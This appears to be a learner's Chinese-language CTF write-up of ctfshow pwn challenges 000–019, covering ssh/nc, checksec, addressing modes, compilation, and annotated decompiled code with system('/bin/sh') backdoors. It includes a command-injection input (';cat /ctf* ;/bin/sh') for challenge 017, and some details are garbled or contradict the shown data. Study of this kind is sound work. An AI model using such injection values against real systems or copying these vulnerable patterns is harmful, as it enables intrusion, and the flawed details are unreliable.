【Pvvn】000-036知识点记录

写在前面

  • 刚做完一遍,跟着vvp。基本流程是知道个七七八八了,这回重新把每道题看过去,提取一下知识点。为苯白痴量身制作的vvp白痴解释版思密达QwQ顺便复习(预习C语言

vvp的链接:【Puun】uup留档 | BROCADEMAPLE

000 ssh连接的彩蛋题

什么是ssh连接

  • SSH(Secure Shell)是一种加密的网络协议,用于安全地访问远程计算机。
  • 它提供了一个安全的渠道,允许用户在本地计算机上执行远程计算机上的命令,就像直接在远程计算机上操作一样。
  • SSH使用公钥加密技术来验证远程计算机和用户的身份,并为数据传输提供加密

什么是shell

  1. 命令行界面:Shell是一个命令行界面(CLI),允许用户输入命令并接收输出结果。
  2. 脚本执行:Shell可以执行脚本,这些脚本是一系列命令的集合,可以自动化任务。
  3. 环境变量:Shell允许用户设置和使用环境变量,这些变量可以影响程序的行为。
  4. 管道和重定向:Shell支持管道操作,可以将一个命令的输出作为另一个命令的输入。同时,Shell也支持输入输出的重定向。
  5. 权限和安全:Shell执行的命令受到用户权限的限制。在安全方面,Shell需要正确配置以防止未授权访问。

在shell中输入id

  • id命令用于显示当前用户的信息,包括用户ID(UID)、组ID(GID)以及其他所属的组。
  • 在CTF赛题中,这可以帮助参赛者了解他们以哪个用户的身份登录,以及该用户具有哪些权限

ls /区别于ls的作用

  • ls命令用于列出目录中的文件和子目录。不加任何参数时,默认列出当前目录的内容。
  • ls /命令列出的是根目录(/)的内容。根目录是文件系统的最顶层目录,包含了所有其他目录和文件。这可以帮助参赛者了解服务器的文件系统结构。
  • 通常,ls命令会列出当前工作目录的内容,而ls /则是列出根目录的内容,两者的区别在于它们指定的目录不同

001 nc连接+后门函数

什么是nc连接

  • nc(Netcat)是一个用于网络工具,可以用于读写网络连接,使用TCP或UDP协议。它可以用来创建监听在特定端口的服务器,也可以用来发起连接到远程服务器的客户端。nc因其简单性和灵活性,在网络安全领域被广泛用于测试网络服务和进行端口扫描

nc连接和ssh连接的关联和区别

  • 关联nc可以用来创建一个简单的SSH连接,例如,使用nc监听本地端口并转发到远程主机的SSH端口,实现端口转发。
  • 区别
    • 协议:SSH是一种加密的网络协议,专为安全访问远程计算机而设计;而nc是一个更为通用的网络工具,不提供加密功能。
    • 安全性:SSH提供了加密和身份验证机制,确保数据传输的安全性;nc则不加密数据,容易受到中间人攻击。
    • 用途:SSH主要用于远程登录和命令执行,而nc可以用于更广泛的网络通信任务,如端口扫描、数据传输等。

checksec

  • checksec是一个用于分析程序二进制文件的安全特性的工具,它可以帮助user了解程序的内存保护机制,例如栈保护(Stack Canaries)、地址空间布局随机化(ASLR)、非执行栈(NoExecStack)、符号表剥离(NX)等。
  • 在CTF的Pwn(二进制漏洞利用)方向中,了解这些安全特性对于找到漏洞和制定利用策略至关重要

system(“cat /ctfshow_flag”)是后门函数的原因

  • system函数是C语言标准库中的一个函数,它允许调用shell命令。
  • 如果一个程序中存在system("cat /ctfshow_flag")这样的代码,它实际上是在调用系统shell来执行cat /ctfshow_flag命令,这通常不是一个正常的程序行为,而是故意留下的后门

后门函数

  • 后门函数是指在软件中故意或无意留下的代码,允许未经授权的用户绕过正常的认证和授权机制,获得对系统的访问权限或执行特定的操作。后门可以是一段代码、一个配置设置,或者是一个隐藏的接口。在CTF比赛中,找到并利用后门是获取Flag的一种常见策略。

  • 在比赛中,参赛者需要利用程序的漏洞来执行任意代码,而后门函数如system可以被用来执行特定的命令,如读取Flag文件。

  • 然而,使用后门函数通常需要找到一种方法来绕过程序的正常逻辑,这可能涉及到溢出、格式化字符串攻击等技术

在本地写入一个flag文件作为测试

echo "flag{just_test_my_process! }">/c|t|f|s|h|o|w_flag

然后运行pvvn程序,可以得到本地写入的flag值

后面的题中,在连接远程环境之前,可以先本地运行pvvn文件,测试能否得到这个flag值

002 shell+分析c代码

1
2
3
4
5
6
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn002/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

64位程序,仅关闭canary

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp) {
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
logo(); // 显示logo
puts(" Now, you can use 'cat /ctfshow_flag' to get flag! ");
system("/bin/sh"); // 后门函数,给了一个shell
return 0;
}
// 这段代码设计了一个程序,启动时会调整一些I/O缓冲设置,展示一个欢迎信息,并最终提供一个交互式shell,暗示用户可以通过特定命令获取某个“flag”
1
2
ls -l /bin/sh
... -> dash //

setvbuf调用

1
2
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
  • setvbuf函数用于控制缓冲区行为。这里进行了两次调用,分别针对_bss_start和标准输入stdin

  • _bss_start通常指向未初始化数据段的开始,这里的调用可能意在对程序的BSS段(存放未初始化全局变量和静态变量的部分)进行缓冲区设置。但是,传入的参数(尤其是第二个参数为NULL和第三个参数为2)表明它试图禁用缓冲或使用无缓冲I/O。实际上,直接对_BSS_START进行这样的操作不太常见且可能不正确,因为_BSS_START不是一个标准的文件流。

  • 对于stdinsetvbuf调用,它设置了标准输入流为无缓冲I/O(模式2),这意味着从标准输入读取数据时将直接进行,没有缓冲延迟,这对于交互式shell尤其重要。

system(“/bin/sh”)的工作原理

  • system()函数先fork一个子进程,在这个子进程中调用/bin/sh -c来执行command指定的命令。
  • /bin/sh在系统中一般是个软链接,指向dash或者bash等常用的shell,-c选项是告诉shell从字符串
  • command中读取要执行的命令(shell将扩展command中的任何特殊字符)。父进程则调用waitpid()函数来为变成僵尸的子进程收尸,获得其结束状态,然后将这个结束状态返回给system()函数的调用者
  • 执行完这个后它就会返回一个shell给函数的调用者
  • system(“cat /ctfshow_flag”); system(“/bin/sh”);这一类的我们称之为后门函数,再后续利用过程中我们要尽可能找到或者构造出来

003 真假命令(一)

1
2
3
4
5
6
7
8
9
10
11
[*] level up ! Let's go ! 
You can call the following function:
1._start
2.main
3.hello_ctfshow
4.ctfshow('echo /ctfshow_flag')
5.print('/ctfshow_flag')
6.system('cat /ctfshow_flag')
7.puts('/ctfshow_flag')
8.exit
Your choice is :

看起来是这样的,看起来选6,但是真的假的还是得看源代码

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn003/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序保护全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __cdecl main(int argc, const char **argv, const char **envp)
{
// 变量定义
const char **v3; // rdx 指针变量v3
char argva[12]; // [rsp+4h] [rbp-Ch] BYREF 12位的字符数组

*(_QWORD *)&argva[4] = __readfsqword(0x28u); // 这行代码读取了线程信息块(TIB)中的某个地址(通常是栈基址),并将该值存储到argva数组的某个位置

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL); // 调用了setvbuf来改变缓冲区行为,与之前的代码一致,分别为_BSS段和标准输入stdin设置无缓冲I/O


logo(); // 美术部分
puts("[*] level up ! Let's go ! ");
menu(); // 就是上面的选项列表
puts("Your choice is :\n");

__isoc99_scanf("%d", argva); // 使用__isoc99_scanf函数从标准输入读取一个整数到argva数组中,作为用户的选择
switch ( *(_DWORD *)argva )
{
case 1:
puts("start"); // 一眼假
break;
case 2:
main((int)"%d", (const char **)argva, v3); // ai说是递归调用main函数
break;
case 3:
printf("Hello CTFshow"); // 一眼假
break;
case 4:
ctfshow();
break;
case 5:
printf("/ctfshow_flag"); // 一眼假
break;
case 6:
system_func(); // 看看这个函数有没有执行
break;
case 7:
puts("/ctfshow_flag"); // 一眼假
break;
case 8:
exit(0); // 一眼假
default:
puts("Invalid input"); // 一眼假
break;
}
return 0;
}

int system_func()
{
return system("cat /ctfshow_flag");
} // 看来确实执行了

int ctfshow()
{
return system("echo /ctfshow_flag");
} // 执行了,但是只有打印,一眼假

004 看C代码

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn004/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位保护全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
// 变量定义
char s1[11]; // [rsp+1h] [rbp-1Fh] BYREF // 用于存储字符串"CTFshowPWN"
char s2[12]; // [rsp+Ch] [rbp-14h] BYREF // 用于接收用户输入
unsigned __int64 v6; // [rsp+18h] [rbp-8h] // 用于存储从FS段读取的信息,可能与栈保护或调试相关


v6 = __readfsqword(0x28u); // 读取FS段寄存器的值
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL); // 通过两次setvbuf调用,禁用了_BSS段和标准输入stdin的缓冲
strcpy(s1, "CTFshowPWN"); // 字符串"CTFshowPWN"复制到s1数组
logo(); // 美术
puts("find the secret !");
__isoc99_scanf("%s", s2); // 通过scanf函数等待用户输入一个字符串,并将其保存到s2数组中。注意,直接使用%s格式化字符串而不指定最大长度可能会导致缓冲区溢出的安全风险
if ( !strcmp(s1, s2) )
execve_func(); // s1 s2相同就执行
return 0;
}

unsigned __int64 execve_func()
{
char *argv[3]; // [rsp+0h] [rbp-20h] BYREF 读取了线程信息块中的某个值,可能用于检测堆栈是否被修改,确保安全
unsigned __int64 v2; // [rsp+18h] [rbp-8h] // 用于存储FS段的原始值,可能用于安全检查或调试

v2 = __readfsqword(0x28u); // 读取了线程信息块中的某个值,可能用于检测堆栈是否被修改,确保安全
argv[0] = "/bin/sh"; // shell自身的名称
argv[1] = 0LL; // 参数结束标志
argv[2] = 0LL; // 多余的,因为在argv[1]后已经结束
execve("/bin/sh", argv, 0LL); // 使用execve系统调用来启动一个新的程序,替换当前进程的内存空间。在这里,它启动的是Shell (/bin/sh),并且传入了预先准备好的参数列表argv。第三个参数为0LL,意味着环境变量列表为空
// 第一个参数是指向可执行文件路径的字符串,指向Shell程序
// 第三个参数0LL,即(char*)NULL,意味着不传递任何环境变量给新进程
return __readfsqword(0x28u) ^ v2;
}
  • execve 本身并不是一个后门函数。实际上, execve 是一个标准的系统调用函数,用于在 Linux和类 Unix 系统中执行一个新的程序。它的原型如下:
    int execve(const char *filename, char *const argv[], char *const envp[]);
    该函数接受三个参数:

    • filename :要执行的程序的文件名或路径。
    • argv :一个以 NULL 结尾的字符串数组,表示传递给新程序的命令行参数。
    • envp :一个以 NULL 结尾的字符串数组,表示新程序的环境变量。
    • 当调用 execve 函数时,它会将当前进程替换为新程序的代码,并开始执行新程序。新程序接收argv 和 envp 作为命令行参数和环境变量。
    • 在加入某些参数后就可以达到我们所需要的后门函数的效果
  • 这道题就是输入CTFshowPWN字符串,即可获得shell,然后cat /ctfshow_flag

005-012 了解寄存器、寻址方式’

汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
section .data
msg db "Welcome_to_CTFshow_PWN", 0
section .text
global _start

_start:

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用
; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用
  • 使用NASM汇编器和ld链接器将汇编代码编译成可执行文件

  • 首先,将代码保存为一个文件,例如 Welcome_CTFshow.asm 。然后,使用以下命令将其编译为对象文件↓↓↓

  • nasm -f elf Welcome_to_CTFshow.asm

    • 这将生成一个名为 Welcome_CTFshow.o 的对象文件。接下来,使用以下命令将对象文件链接成可执行文件
    • ld -m elf_i386 -s -o Welcome_to_CTFshow Welcome_to_CTFshow.o
      • 这将生成一个名为 Welcome_CTFshow 的可执行文件
  • 用64位IDA打开Welcome_to_CTFshow.o,即可获得以上汇编代码

  • 好抽象啊啊啊啊啊啊啊啊啊啊

005 运行可执行文件

./Welcome_to_CTFshow

得到:Welcome_to_CTFshow_PWN

  • ctfshow{Welcome_to_CTFshow_PWN}

006 立即寻址方式

1
2
3
4
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
  • ctfshow{114514} (好臭啊

007 寄存器寻址方式

1
2
3
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
  • ctfshow{0x36D}

008 直接寻址方式

1
2
3
4
; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx
对应IDA:
mov ecx, dword_80490E8
  • ctfshow{0x80490E8}

009 寄存器间接寻址方式

1
2
3
4
5
6
7
8
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
对应IDA:
mov esi, offset dword_80490E8
mov eax, [esi]

.data:080490E8 dword_80490E8 dd 696C6557h ; DATA XREF: LOAD:0804805C↑o
  • ctfshow{0x636C6557}

010 寄存器相对寻址方式

1
2
3
4
5
6
7
8
9
10
11
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
对应IDA:
mov ecx, offset dword_80490E8
add ecx, 4
mov eax, [ecx]

.data:080490E8 dword_80490E8 dd 696C6557h ; DATA XREF: LOAD:0804805C↑o
.data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN', 0
  • 这里将msg的地址(0x80490E8)+ 4 处所执向的地址的值赋给eax

  • hex(0x80490E8+4) 得到0x80490ec 也就是“ome_to_CTFshow_PWN”

  • ctfshow{ome_to_CTFshow_PWN}

011 基址变址寻址方式

1
2
3
4
5
6
7
8
9
10
11
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
对应IDA:
mov ecx, offset dword_80490E8
add edx, 2
mov eax, [ecx + edx * 2]

.data:080490E8 dword_80490E8 dd 696C6557h ; DATA XREF: LOAD:0804805C↑o
.data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN', 0
  • 计算最终也是 [0x80490E8 + 2*2 ] = [0X80490EC]
  • ctfshow{ome_to_CTFshow_PWN}

012 相对基址变址寻址

1
2
3
4
5
6
7
8
9
10
11
12
13
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

对应IDA:
mov ecx, offset dword_80490E8
add edx, 2
mov eax, [ecx + edx * 2]

.data:080490E8 dword_80490E8 dd 696C6557h ; DATA XREF: LOAD:0804805C↑o
.data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN', 0
  • hex(8 + 0x80490E8 + 1*2 -6) 得到0x80490ec 也就是“ome_to_CTFshow_PWN”

  • ctfshow{ome_to_CTFshow_PWN}

013 gcc编译

1
2
3
4
5
6
7
cat flag.c
#include <stdio.h>
int main() {
char flag[] = {99, 116, 102, 115, 104, 111, 119, 123, 104, 79, 119, 95, 116, 48, 95, 117, 115, 51, 95, 71, 67, 67, 63, 125, 0};
printf("%s", flag);
return 0;
}
  • 它使用字符数组 flag 存储了一个加密的字符串,并通过 printf函数将其打印出来

  • 在这段代码中, flag 数组存储了一串整数值,这些整数值代表了字符的 ASCII 码。通过将这些整数值转换为相应的字符,就可以还原出原始的字符串

  • 运行该程序, printf 函数使用 %s 格式字符串将 flag 数组作为参数进行打印。由于 flag 数组的最后一个元素为零(NULL 字符),printf 函数会将其之前的字符依次打印,直到遇到 NULL 字符为止。

  • 根据给定的整数值数组,还原出的字符串为: ctfshow{hOw_t0_us3_GCC?}

014 gcc编译.c文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// flag.c
#include <stdio.h>
#include <stdlib.h>

#define BUFFER_SIZE 1024
// 定义了缓冲区的大小为1024字节,用于读取文件内容

int main() {
FILE *fp;
unsigned char buffer[BUFFER_SIZE];
size_t n;

fp = fopen("key", "rb"); // 尝试以二进制只读模式("rb")打开名为"key"的文件
if (fp == NULL) {
perror("Nothing here!");
return -1;
}

char output[BUFFER_SIZE * 9 + 12]; // 输出字符串output的大小预留得比原始缓冲区大得多,以容纳转换后的位表示及额外的格式化字符
int offset = 0;
offset += sprintf(output + offset, "ctfshow{");

while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {
// 从打开的文件中读取数据,并将读取到的每个字节的位转换成字符串形式输出
for (size_t i = 0; i < n; i++) { // 外层的for循环(for (size_t i = 0; i < n; i++))遍历了当前读取批次中的每个字节
for (int j = 7; j >= 0; j--) { // 内层的for循环(for (int j = 7; j >= 0; j--))负责将每个字节的每一位转换为字符串
offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1); // (buffer[i] >> j)是对字节buffer[i]进行右移操作
}
if (i != n - 1) { // 非最后一个字节就加下划线
offset += sprintf(output + offset, "_");
}
}
if (!feof(fp)) { // 非文件最后一部分就加空格
offset += sprintf(output + offset, " ");
}
}
offset += sprintf(output + offset, "}");
printf("%s\n", output);
fclose(fp);
return 0;
}
  • 程序打开名为 “key” 的文件,以二进制(“rb”)模式进行读取。如果文件打开失败,将输出错误消息 “Nothing here!” 并返回 -1

  • 然后,程序定义了一个缓冲区 buffer 用于读取文件内容,以及一个字符串数组 output 用于存储转换后的二进制字符串。变量 offset 用于跟踪 output 数组中的偏移量。

  • 接下来,程序开始将输出字符串初始化为 “ctfshow{”,然后进入一个循环,每次读取BUFFER_SIZE 字节的数据到 buffer 中,并将其转换为二进制字符串形式。

  • 在内层循环中,程序遍历当前读取的字节的每一位,从最高位到最低位。通过右移操作和位与运算,提取出每一位的值,并使用 sprintf 函数将其添加到 output 字符串中。

  • 在每个字节的二进制表示结束后,如果当前字节不是最后一个字节,则在 output 字符串中添加下划线作为分隔符。

  • 如果文件还未读取完毕(即文件结束符未被读取),则在 output 字符串中添加空格作为分隔符。

  • 循环结束后,程序在 output 字符串中添加 “}”,表示结束标记,并使用 printf 函数将最终的转换结果打印出来。最后,程序关闭文件,并返回 0 表示成功执行。

  • 该程序的作用是将二进制文件中的内容转换为二进制字符串形式,并以特定格式输出

  • echo "CTFshow">key 使用echo工具输出到标准输出,通过重定向操作符>,输出的内容被写入(或覆盖)到名为key的文件中。 创建一个含有字符串CTFshow的文件key

  • gcc -o flag flag.c 编译flag.c,生成一个名为flag的程序

015 编译汇编代码

汇编语言→目标文件→可执行文件

nsam -f elf flag.asm -o flag.o 将汇编代码编译为目标文件

ld -m elf_i386 -o flag flag.o 将目标文件链接为可执行文件

./flag 运行文件

016 gcc编译.s文件

  • .s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。
  • 汇编语言是一种低级编程语言,用于直接操作计算机的指令集架构。 .s 文件通常由汇编器(Assembler)处理,将其转换为可执行文件或目标文件。
  • 可以使用 gcc 命令直接编译汇编语言源文件( .s 文件)并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器。
  • gcc -o flag flag.s 将.s文件编译为可执行文件

017 Linux基础命令的拼接

  • 在Linux命令中,分号( ; )用于分隔多个命令,允许在一行上顺序执行多个命令。
  • 当使用分号( ; )将命令连接在一起时,它们按照从左到右的顺序逐个执行,无论前面的命令是否成功。这意味着无论前一个命令是否成功执行,后续的命令都将被执行。
  • command1 ; command2 ; command3
    • 在这个例子中, command1 执行完毕后,无论成功与否,接着会执行 command2 ,然后再执command3 这样,多个命令可以按顺序在一行上执行。
  • command1 & command2
  • 也可以使用 & 将两条命令拼接在一起可以实现并行执行,即这两条命令将同时在后台执行。命令之间使用 & 进行分隔
  • command1 和 command2 是两个要执行的命令。通过使用 & 将它们连接起来,它们将同时在后台执行。这种方式下命令的输出可能会相互混合,具体的输出顺序取决于命令的执行速度和系统资源
1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn017/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位保护全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-1Ch] BYREF
char dest[4]; // [rsp+Ah] [rbp-16h] BYREF
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
/* 设置缓冲区行为。前一个可能用于清除.bss段的缓冲,后一个设置标准输入流为无缓冲模式 */
setvbuf(stdin, 0LL, 1, 0LL);
puts(asc_D48);
puts(asc_DC0);
puts(asc_E40);
puts(asc_ED0);
puts(asc_F60);
puts(asc_FE8);
puts(asc_1080);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : You should understand the basic command usage of Linux! ");
puts(" * ************************************* ");
*(_DWORD *)dest = 790655852;
v4 = 0;
puts("\nHow much do you know about Linux commands? \n");
while ( 1 )
{
menu();
v4 = 0;
puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
system("id"); /* 使用system调用执行id命令,显示当前用户的ID和组ID */
break;
case 2:
puts("Which directory?('/','./' or the directiry you want?)");
read(0, buf, 0xAuLL);
strcat(dest, buf);
system(dest);
puts("Execution succeeded!");
/* 读取用户输入的目录名,并将其附加到dest,然后使用system执行ls命令列出该目录的内容 */
break;
case 3:
sleep(1u);
puts("$cat /ctfshow_flag");
sleep(1u);
puts("ctfshow{");
sleep(2u);
puts("... ...");
sleep(3u);
puts("Your flag is ...");
sleep(5u);
puts("ctfshow{flag is not here!}");
sleep(0x14u);
puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");
sleep(0x1BF52u);
system("cat /ctfshow_flag");
/* 假装读取一个隐藏的标志文件,实际上在长时间延迟后才真正尝试读取文件,超过远程环境的时长,本地可以等等看hhhh */
break;
case 4:
sleep(2u);
puts("su: Authentication failure");
/* 模拟失败的身份验证尝试 */
break;
case 5:
puts("See you!");
exit(-1);
default:
puts("command not found!");
break;
}
}
}
/* 这个程序存在明显的安全漏洞,比如在案例2中,strcat没有检查buf的长度,可能导致缓冲区溢出。此外,直接使用system函数执行用户提供的输入也存在命令注入的风险 */

int menu()
{
puts("1.id");
puts("2.ls");
puts("3.cat /ctfshow_flag");
puts("4.su");
return puts("5.exit");
}
  • 选项3最后会执行system(“cat /ctfshow_flag”);命令,虽然最终能达到我们想要的效果,但是它sleep了很久很久,本地等的话没什么问题,但是远程环境并没有这么久,因此这条直接pass.
  • 其他1/4/5选项都没有实质性作用,但是2那里会有问题,我们可以进行拼接,限制了10字节,但是我们完全够用,可以构造出;cat /ctf* ;/bin/sh等直接拿取一个shell或者直接读出flag
  • 在Linux中,通配符 * 表示匹配任意长度(包括零长度)的任意字符序列。所以cat /ctf*能够读到flag

018 看源码喵

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn018/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位保护全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(s);
puts(asc_B10);
puts(asc_B90);
puts(asc_C20);
puts(asc_CB0);
puts(asc_D38);
puts(asc_DD0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Do you know redirect output ? ");
puts(" * ************************************* ");
puts("Which is the real flag?");
__isoc99_scanf("%d", &v4);
if ( v4 == 9 )
fake();
else
real();
system("cat /ctfshow_flag");
return 0;
}

int fake()
{
return system("echo 'flag is here'>>/ctfshow_flag");
}

int real()
{
return system("echo 'flag is here'>/ctfshow_flag");
}
  • 读取用户输入,是9执行fake(),不是9执行real()
  • 看源码,两个函数的区别在于中间是>> 还是 >
  • system("echo 'flag is here'>>/ctfshow_flag");
  • 这个命令将字符串 ‘flag is here’ 追加写入 /ctfshow_flag 文件中。 >> 符号表示以追加的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那么该命令会在文件的末尾添加 ‘flag is here’ 。
  • system("echo 'flag is here'>/ctfshow_flag");
  • 这个命令将字符串 ‘flag is here’ 覆盖写入 /ctfshow_flag 文件中。 > 符号表示以覆盖的方式写入文件,如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在,那么该命令会将文件中原有的内容替换为 ‘flag is here’ 。
  • 在远程环境中需要在第一次读到flag,否则后续得到的flag都已经被覆写再追加,真实的flag内容乌拉!

019 父子进程(还是有一点点懵

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn019/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位保护全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(s);
puts(asc_BF0);
puts(asc_C70);
puts(asc_D00);
puts(asc_D90);
puts(asc_E18);
puts(asc_EB0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Turn off output, how to get flag? ");
puts(" * ************************************* ");


if ( fork() ) // 父进程
/* fork系统调用创建了一个子进程,使得当前进程的副本运行。父进程和子进程共享相同的代码,但有独立的进程上下文。如果fork成功,它返回子进程的PID给父进程,而在子进程中返回0 */
{
wait(0LL); /* 父进程在这里等待任何子进程的终止。wait系统调用会阻塞直到一个子进程结束 */
sleep(3u); /* 让父进程休眠三秒,给子进程足够的时间执行 */
printf("flag is not here!");
}
else // 子进程
{
puts("give you a shell! now you need to get flag!");
fclose(_bss_start); // 关闭文件输出流
read(0, buf, 0x20uLL); // 从标准输入中读取用户输入的命令,并存储在 buf 中
system(buf); // 执行用户输入的命令
}
return 0;
}
/* 程序设计了一个简单的父子进程交互,其中子进程提供了用户一个shell,让用户尝试找到旗帜 */
  • if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中, fork() 返回子进程的进程ID,所以进入 if 语句块;子进程中, fork() 返回0,所以进入 else 语句块。

  • 在父进程中:wait(0LL) : 父进程通过 wait() 函数等待子进程的结束,以确保子进程执行完毕。

  • sleep(3u) 父进程睡眠3秒钟。

  • printf("flag is not here!") 输出提示信息,表明flag不在此处

